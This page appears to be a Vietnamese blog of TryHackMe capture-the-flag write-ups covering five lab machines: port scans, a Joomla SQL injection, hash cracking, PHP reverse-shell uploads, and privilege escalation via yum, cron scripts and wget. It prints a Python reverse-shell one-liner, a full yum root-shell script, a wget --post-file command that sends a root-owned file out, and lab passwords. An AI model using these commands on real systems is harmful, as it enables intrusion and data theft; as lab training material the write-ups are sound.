Tryhackme - Daily Bugle

  1. Reconnaissance
  2. Upload reverse shell
  3. Privilege escalation
  4. Tổng kết

intro

Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Daily Bugle. Géc gô!!!

Reconnaissance

Vẫn như thông thường thôi, việc đầu tiên cần làm là quét cổng.

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbp89KqmXj7Xx84uhisjiT7pGPYepXVTr4MnPu1P4fnlWzevm6BjeQgDBnoRVhddsjHhI1k+xdnahjcv6kykfT3mSeljfy+jRc+2ejMB95oK2AGycavgOfF4FLPYtd5J97WqRmu2ZC2sQUvbGMUsrNaKLAVdWRIqO5OO07WIGtr3c2ZsM417TTcTsSh1Cjhx3F+gbgi0BbBAN3sQqySa91AFruPA+m0R9JnDX5rzXmhWwzAM1Y8R72c4XKXRXdQT9szyyEiEwaXyT0p6XiaaDyxT2WMXTZEBSUKOHUQiUhX7JjBaeVvuX4ITG+W8zpZ6uXUrUySytuzMXlPyfMBy8B
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKb+wNoVp40Na4/Ycep7p++QQiOmDvP550H86ivDdM/7XF9mqOfdhWK0rrvkwq9EDZqibDZr3vL8MtwuMVV5Src=
|   256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4TcvlwCGpiawPyNCkuXTK5CCpat+Bv8LycyNdiTJHX
80/tcp   open  http    syn-ack Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
3306/tcp open  mysql   syn-ack MariaDB (unauthorized)

Với port 80 tôi thấy có path /joomla/, vậy là web này được buil trên Joomla CMS, và nếu qua path /administrator/ thì tôi sẽ vào được login page joomla. Tuy nhiên với kiến thức hạn hẹp, phải loay hoay 1 lúc lâu tôi mới tìm ra được version joomla đang chạy trên machine này.

Lội qua 1 đống tool thì tôi tìm được thằng này: juumla giúp check version cũng như tìm find backup hay config, khá tiện.

┌──(neokali)-[~/juumla]
└─$ python main.py -u http://10.10.91.181
jUuMlA - 0.1.4
most overrated joomla scanner
> Checking if target is running Joomla... 
> Running Joomla version scanner... [1/3] 
> Joomla version is: 3.7.0 
> Running Joomla vulnerabilities scanner... [2/3] 
> Joomla! 3.7 - SQL Injection 
> Vulnerabilities scanner finished [2/3] 

Check trên exploit-db Tôi có 1 SQLi, chạy thử sqlmap nhưng nó quá lâu (lâu vô hạnnnn =.=). Vậy nên tôi thử tìm trên github xem có payload joomla version 3.7.0 không. Và nó ở đây.

Clone nó về và chạy với IP machine và tôi có luôn user trong 1 phút, phí mất 15 phút ngồi chờ thằng sqlmap, ngẫn quá :sweat:

[$] Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']

Ném thằng hash này vào 1 file vào dùng john để decrypt nó.

┌──(neokali)-[~]
└─$ sudo john hash --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:43 13.62% (ETA: 04:25:48) 0g/s 78.57p/s 78.57c/s 78.57C/s piccolo..yahweh
spiderman123     (?) 

Upload reverse shell

Login vào joomla để upload shell. Dạo quanh 1 lúc thì tôi thấy template là nơi có thể upload shell vì nó sẽ là thứ hiện ra cho người dùng khi họ truy cập vào trang web.

Sửa file php có sẵn trong template thành reverse shell php, shell này tôi lấy từ pentestmonkey, sửa listen host và port thành ip machine của mình.

upload-shell

Tạo listener bằng netcat: nc -lnvp 2402 sau đó truy cập vào file vừa sửa: http://IP-MACHINE/templates/beez3/index.php

┌──(neokali)-[~]
└─$ nc -lnvp 2402
listening on [any] 2402 ...
connect to [10.18.3.74] from (UNKNOWN) [10.10.71.145] 37496
Linux dailybugle 3.10.0-1062.el7.x86_64 #1 SMP Wed Aug 7 18:08:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 23:38:06 up 36 min,  0 users,  load average: 0.03, 0.04, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.2$ 

Config lại shell bằng python nhưng không được, trong thư mục /home tôi có thư mục jjameson nhưng không thể truy cập. Tôi sẽ tìm xung quanh xem có password của ông này không. Tôi sẽ ưu tiên các file config vì thường thì các user và passwd sẽ được lưu ở đây. Thêm nữa đây là web được buil trên php nên tôi sẽ thử tìm file config.php xem có thu được gì đặc biệt không.

Sau khi lần mò trong thư mục lưu trữ web (thường là /var/www/html/) tôi tìm thấy 2 file configuration.phpweb.config.php

jjameson

su jjameson
Password: nv5uz9r3ZEDzVjNu
id
uid=1000(jjameson) gid=1000(jjameson) groups=1000(jjameson)

Vào thư mục jjameson và tôi có user flag

[jjameson@dailybugle ~]$ ls
user.txt

Privilege escalation

Lệnh sudo -l để kiểm tra xem user jjameson có chạy command nào với quyền root không

[jjameson@dailybugle ~]$ sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum

Tôi lại lượn qua GTFOBins xem cách lên root bằng yum. Do tôi không thấy fpm ở phần a xuất hiện trong machine nên tôi sẽ thử dùng cách b.

TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.2# ls /root/root.txt
/root/root.txt

Tổng kết

Qua bài này chúng ta biết thêm về Joomla cms, biết đâu sau này lại có hứng thú tạo web bằng thằng này. Tiếp theo là cách sử dụng exploit-db để tìm kiếm lỗ hổng trong các phiên bản của ứng dụng, cách sử dụng john-the-ripper để decrypt file hash. Cuối cùng là cách sử dụng yum để leo thang đặc quyền. Yeah chắc vậy là đủ rồi.

Tryhackme - Ignite

intro

Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Ignite. Géc gô!!!

Vẫn như thông thường thôi, việc đầu tiên cần làm là quét cổng.

scan-port

Tôi chỉ có 1 port đang mở là port 80 chạy Apache httpd 2.4.18 trên Ubuntu server.

Với http-header Fuel CMS, có nghĩa là site này dựng trên cms fuel phiên bản 1.4. Trong file robots.txt có 1 entry là /fuel. Path này sẽ điều hướng web đến trang login của fuel cms.

login-site

Tôi thử login vào site bằng username và password mặc định: admin-admin.

dashboard

Site dashboard cũng không có gì đặc biệt lắm. Thực ra thì khi nhìn thấy fuel cms tôi đã nghĩ đến việc tìm exploit-db hoặc searchsploit, nhưng vì được cho login từ đầu nên bây giờ tôi mới thử.

searchsploit

Với 3 exploit RCE này, tôi chọn cái thứ 3 vì nó là python code và chạy trên php.

50477

Có shell rồi này. Tôi sẽ dùng python reverse shell để trỏ về máy local. Nhưng có vẻ là không được, kể cả các shell khác.

À! Còn cách khác. Tôi sẽ upload file shell php từ máy local.

Tạo http server từ máy local.

http-server

Sau đó dùng wget để tải file từ máy local về remote server.

get-shell

Bật netcat và mở file trên browser. http://MACHIEN-IP/shell.php

shell

Truy cập user www-data và tôi có user flag.

Bây giờ đến bước leo thang đặc quyền. Tôi đã thử vài thứ đơn giản như sudo -l hay crontab đều không có kết quả gì. Vì vậy, tôi sẽ tạo http server bằng python và wget linPEAS.

linpeas

Dạo quanh 1 đống vô cùng nhiều thứ này thì tôi tìm được vài thông tin trong databse fuel_schema.

Nhập thử pass này với root, xong.

rooted

Rooted!

Tryhackme - Startup

intro

Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Startup. Géc gô!!!

Vẫn như thông thường thôi, việc đầu tiên cần làm là quét cổng.

scan-port

Chúng ta có 3 port đang mở:

  • port 21 với ftp server và cho phép login bằng anonymous.
  • port 22 chạy ssh trên ubuntu server
  • port 80 với Apache httpd 2.4.18 trên ubuntu server

Với port 21, tôi có vài thứ hay ho ở đây.

port21

Trong ftp server tôi có 1 file txt và 1 file ảnh, user anonymous cũng có quyền sửa, ghi file. Vậy là tôi có thể upload file lên ftp server, tôi không chắc. Xem qua 2 file kia đã.

notice

Tôi có 1 cái tên ở đây: Maya. Còn chiếc ảnh kia thì không có gì đặc biệt lắm. Tôi sẽ quay lại ftp server để put shell lên xem có được không.

put-shell

Được rồi. Bây giờ thử check web path để xem có tìm được url của file vừa up không.

dirsearch

Vào path /files và tôi tìm thấy ftp file server.

shell

Tạo listener với port đã cấu hình bên trong shell và thử mở file.

get-shell

Ồ được rồi này. Config lại shell 1 chút với python để dễ khai thác hơn. Trong file server web chúng ta có 1 file recipe.txt. Mở file này và tôi tìm được secret spicy soup recipe.

Vào thư mục /home và tôi có user lennie. Tuy nhiên không cần có password. Tôi thử check xem có thư mục nào chạy quyền của www-data không. Và tôi tìm thấy thư mục incidents.

incidents

Trong này có 1 file pcap, clone nó về và thử check bằng Wireshark xem có tìm được gì đặc biệt không, biết đâu lại có password của Lennie. Tôi tạo http server bằng python trên máy remote và wget file pcap về máy local của mình, đáp nó vào Wireshark thôi.

Sau 1 thời gian dài ngụp lặn, tôi đã tìm được password của user lennie, trong file pcap.

lennie-password

Đăng nhập và tôi có user flag.

user-flag

Việc tiếp theo là leo thang đặc quyền. Cùng với user flag tôi có thêm 2 folder nữa và folder scripts có chứa file thực thi. Tôi sẽ khai thác nó trước. File planner.sh sẽ ghi đề 1 list vào file startup_list.txt và sau đó thực thi file /etc/print.sh. Tôi check qua file print.sh thì nó đang chạy dưới quyền user lennie, điều này có nghĩa là chúng ta có thể sửa được file này.

Tôi sẽ thêm reverse shell vào file này, nhưng không thể get root được. Do file planner.sh này có thể chạy được nên tôi sẽ thử kiểm tra xem nó có phải 1 cronjob chạy dưới quyền root hay không. Và đúng là như vậy.

Nên việc tiếp theo là sửa file này để gọi reverse shell. Tôi sẽ dùng shell này

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.**.**",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

À trước tiên phải tạo listener đã.

reverse-shell

rooted

Vậy là xong. Rooted!

Tryhackme - Wgel CTF

  1. Reconnaissance
  2. SSH
  3. Privilege escalation
  4. Tổng kết

Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Wgel CTF. Géc gô!!!

Reconnaissance

Vẫn như thông thường thôi, việc đầu tiên cần làm là quét cổng.

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:96:1b:66:80:1b:76:48:68:2d:14:b5:9a:01:aa:aa (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpgV7/18RfM9BJUBOcZI/eIARrxAgEeD062pw9L24Ulo5LbBeuFIv7hfRWE/kWUWdqHf082nfWKImTAHVMCeJudQbKtL1SBJYwdNo6QCQyHkHXslVb9CV1Ck3wgcje8zLbrml7OYpwBlumLVo2StfonQUKjfsKHhR+idd3/P5V3abActQLU8zB0a4m3TbsrZ9Hhs/QIjgsEdPsQEjCzvPHhTQCEywIpd/GGDXqfNPB0Yl/dQghTALyvf71EtmaX/fsPYTiCGDQAOYy3RvOitHQCf4XVvqEsgzLnUbqISGugF8ajO5iiY2GiZUUWVn4MVV1jVhfQ0kC3ybNrQvaVcXd
|   256 18:f7:10:cc:5f:40:f6:cf:92:f8:69:16:e2:48:f4:38 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDCxodQaK+2npyk3RZ1Z6S88i6lZp2kVWS6/f955mcgkYRrV1IMAVQ+jRd5sOKvoK8rflUPajKc9vY5Yhk2mPj8=
|   256 b9:0b:97:2e:45:9b:f3:2a:4b:11:c7:83:10:33:e0:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJhXt+ZEjzJRbb2rVnXOzdp5kDKb11LfddnkcyURkYke
80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Với port 80 tôi có 1 default page apache ubuntu server. Lướt qua page thì có 1 chút kỳ lạ, tôi xem qua source code:

<!-- Jessie don't forget to udate the webiste -->

Tiếp tục dùng dirsearch để tìm web path và tôi tìm được /sitemap/. Vào url thì đây là một blog html, cũng không có gì đặc biệt. Tôi thử check thông tin site:

http://10.10.253.207/sitemap/ [200 OK] Apache[2.4.18], Bootstrap, Country[RESERVED][ZZ], Email[info@yoursite.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.253.207], JQuery, Modernizr[2.6.2.min], Open-Graph-Protocol, Script, Title[unapp Template], X-UA-Compatible[IE=edge]

Tôi thấy có Modernizr [2.6.2.min], đây là một thư viện java nên thử tìm xem có exploit nào không, tuy nhiên cũng không có gì hữu ích. Vậy nên tôi thử tìm web path thêm lần nữa để xem ở sau /sitemap/ có gì không.

200 -  955B  - /sitemap/.ssh/
200 -    2KB - /sitemap/.ssh/id_rsa

SSH

Tôi sẽ thử tải ssh key này về vào login bằng username Jessie đã tìm được ở trên.

┌─[neo@parrot][~]
└──╼ $sudo ssh -i id_rsa jessie@10.10.20.15
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic i686)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
8 packages can be updated.
8 updates are security updates.
Last login: Tue Jul 19 11:45:25 2022 from 10.18.3.74
jessie@CorpOne:~$ 

Và tôi tìm được user flag trong thư mục Document

jessie@CorpOne:~/Documents$ ls
user_flag.txt

Privilege escalation

Thử check xem Jessie có truy cập file nào với quyền root hay không

User jessie may run the following commands on CorpOne:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/wget

Qua GTFOBins để tìm wget. Có vẻ như với wget chúng ta có thể tải file về local machine. Tôi sẽ thử dùng nó để tải root flag trong thư mục root. Và với tên user_flag thì tôi nghĩ root flag cũng sẽ có kiểu format như thế này.

Thử tạo listener trên local machine và lưu dữ liệu vào file flag

┌─[neo@parrot][~]
└──╼ $sudo nc -lnvp 80 > flag

Sau đó tạo 1 POST request từ remote machine đến local machine.

jessie@CorpOne:/etc$ sudo /usr/bin/wget --post-file=/root/root_flag.txt 10.18.3.74

Mở file flag và tôi có root flag. Còn để leo thang đặc quyền bằng wget tôi sẽ nói ở 1 bài sau.

Tổng kết

Thực sự thì bài này không có kỹ thuật gì mới, chú yếu là để luyện thêm về recon, cách login ssh bằng rsa key, sử dụng wget để lấy được file về local machine và sau đó có thể get root bằng cách đẩy file chứa password của mình.

Tryhackme - LazyAdmin

intro

Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - LazyAdmin. Géc gô!!!

Vẫn như thông thường thôi, việc đầu tiên cần làm là quét cổng. Tôi sẽ dùng Rustscan cho nhanh và thêm vài tùy chọn của nmap.

scan-port

Chúng ta có 2 port đang mở:

  • port 22 chạy ssh trên ubuntu server
  • port 80 với Apache httpd 2.4.18 trên ubuntu server

Với header này có vẻ như web chỉ là default page Apache. Kiểm tra source web cũng không có gì đặc biệt.

Thử dirsearch để tìm web path nào. Thằng này cú pháp đơn giản hơn gobuster vì nó có sẵn wordlist khá đầy đủ và còn được cập nhật.

dirsearch

Thử vào path và tôi có 1 site index của basic-cms sweetrice.

sweetrice

Thử tìm trên exploit-db và tôi tìm được exploit upload file: 40716. Xem qua exploit này thì tôi thấy có vài path ở đây.

path

Vậy có thể là sau /content/ vẫn còn có các path nữa.

Thử thêm 1 lần dirsearch nữa xem sao.

Và tôi có thêm các path của site sweetrice, trong đó có path /as/ dẫn đến site login và path /inc/ chứa các file hệ thống. Tôi để ý có mysql_backup ở đây. Thử tải và kiểm tra xem có user và password không nào.

user-pass

Đây rồi! Tôi có username và password với hash md5. Vào Crackstations để unhash password. Login thôi.

site

Dashboard này nhiều thứ quá, tôi nhớ ra exploit lúc nãy cần username và password để upload file. Vậy thì thử thôi upload reverse shell nào.

upload

Được rồi này. Điều lưu ý ở đây là cần phải đổi .php sang .php5, nếu để .php thì server không cho upload.

Bật netcat lên với listen port đã tạo trong shell: nc -lnvp 1234

user-flag

Config lại session với python.

python3 -c ‘import pty;pty.spawn(”/bin/bash”)’

export TERM=xterm

Ctrl+Z

stty raw -echo; fg

Tìm trong thư mục /home/ có user itguy, và tôi tìm được user flag ở đây.

Bây giờ thì thử tìm xem có thư mục nào chạy bằng quyền root không.

sudo-l

Qua GTFOBins tìm perl nào.

gtfobins

Sử dụng sudo nhưng không được vì yêu cầu pass của user web.

cannot

Tôi còn 1 file với quyền root nữa mà không cần pass là backup.pl.

backup

Xem nội dung file copy.sh thì nó là 1 reverse shell khác. Sửa file này để nó trỏ về máy local của tôi.

get-shell

Dùng netcat để get shell

rooted

Rooted.

Tìm được rồi! ftpuser:ftpuser@123

Pagination


© 2025. All rights reserved.